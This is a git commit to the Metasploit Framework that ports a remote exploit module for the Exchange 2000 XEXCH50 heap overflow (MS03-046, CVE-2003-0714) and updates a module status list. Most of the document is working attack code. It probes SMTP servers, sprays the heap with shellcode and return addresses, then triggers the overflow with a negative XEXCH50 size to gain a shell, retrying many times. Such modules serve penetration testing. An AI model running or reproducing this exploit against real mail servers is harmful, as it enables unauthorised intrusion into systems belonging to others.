Ported hdm's exchange2000_xexch50 module to version 3.

git-svn-id: file:///home/svn/framework3/trunk@7592 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Patrick Webster 2009-11-24 07:11:12 +00:00
parent 99319d2a55
commit 796e8cdfc3
2 changed files with 225 additions and 1 deletions

View File

@ -4,7 +4,6 @@ Unfinished modules
arkeia_agent_access
calicclnt_getconfig
calicserv_getconfig
exchange2000_xexch50
gnu_mailutils_imap4d
hpux_ftpd_preauth_list
iis_source_dumper
@ -55,6 +54,7 @@ Completed modules
edirectory_imonitor2 exploit/windows/http/edirectory_host
eiq_license exploit/windows/misc/eiqnetworks_esa
eudora_imap exploit/windows/imap/eudora_list
exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
freeftpd_user exploit/windows/ftp/freeftpd_user

View File

@ -0,0 +1,224 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
'Description' => %q{
This is an exploit for the Exchange 2000 heap overflow. Due
to the nature of the vulnerability, this exploit is not very
reliable. This module has been tested against Exchange 2000
SP0 and SP3 running a Windows 2000 system patched to SP4. It
normally takes between one and 100 connection attempts to
successfully obtain a shell. This exploit is *very* unreliable.
},
'Author' => [
'hdm', # original module
'patrick', # msf3 port :)
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0714' ],
[ 'BID', '8838' ],
[ 'OSVDB', '2674' ],
[ 'MSB', 'MS03-046' ],
[ 'URL', 'http://www.milw0rm.com/exploits/113' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Platform' => 'win',
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2003'))
register_options(
[
Opt::RPORT(25),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']),
OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
])
end
def check
connect
banner = sock.get_once
if (banner !~ /Microsoft/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end
sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
res = sock.get_once
if (res !~ /XEXCH50/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
res = sock.get_once
if (res =~ /Sender OK/)
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
res = sock.get_once
if (res =~ /250/)
sock.put("XEXCH50 2 2\r\n")
res = sock.get_once
if (res !~ /Send binary data/)
print_error("Target has been patched!")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Appears
end
end
end
disconnect
end
def smtp_setup(count)
print_status("Exploit attempt ##{count}")
connect
sleep(1)
banner = sock.get_once
print_status("Connected to SMTP server: #{banner.to_s}")
if (banner !~ /Microsoft/)
print_status("Target does not appear to be running Exchange.")
return
end
sleep(5)
sock.put("EHLO X\r\n")
sleep(7)
res = sock.get_once
if (res !~ /XEXCH50/)
print_status("Target is not running Exchange.")
return
end
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
sleep(3)
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
sleep(3)
end
def exploit
bufflen = target['BuffLen']
print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
count = 1 # broke
begin
if (count > datastore['ATTEMPTS'])
print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
return # Stop after a specified number of attempts.
end
if (session_created?)
return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
end
while(true)
if (smtp_setup(count))
print_status("Connection 1: ")
end
sock.put("XEXCH50 2 2\r\n")
sleep(3)
res = sock.get(-1,3)
print_status("#{res}")
if (res !~ /Send binary data/)
print_status("Target is not vulnerable.")
return # commented out for the moment
end
sock.put("XX")
print_status("ALLOC")
size = 1024 * 1024 * 32
sock.put("XEXCH50 #{size} 2\r\n")
sleep(3)
sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
print_status("Uploading shellcode to remote heap.")
if (sock.put(sploit))
print_status("\tOK.")
end
print_status("Connection 2: ")
smtp_setup(count) # Connection 2
sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
sleep(2)
res = sock.get_once
if (!res)
print_status("Error - no response")
end
print_status("OK")
bufflen += target['Offset2']
if (bufflen > target['Offset1'])
bufflen = target['BuffLen']
end
heapover = [target['Ret']].pack('V') * bufflen
print_status("Overwriting heap with payload jump (#{bufflen})")
sock.put(heapover)
print_status("Starting reconnect sequences...")
10.times do |x|
print_status("Connect #{x}")
connect
sock.put("HELO X\r\n")
disconnect
end
end
rescue
print_status("Unable to connect or Exchange has crashed... Retrying.")
count += 1
retry
end
disconnect
end
end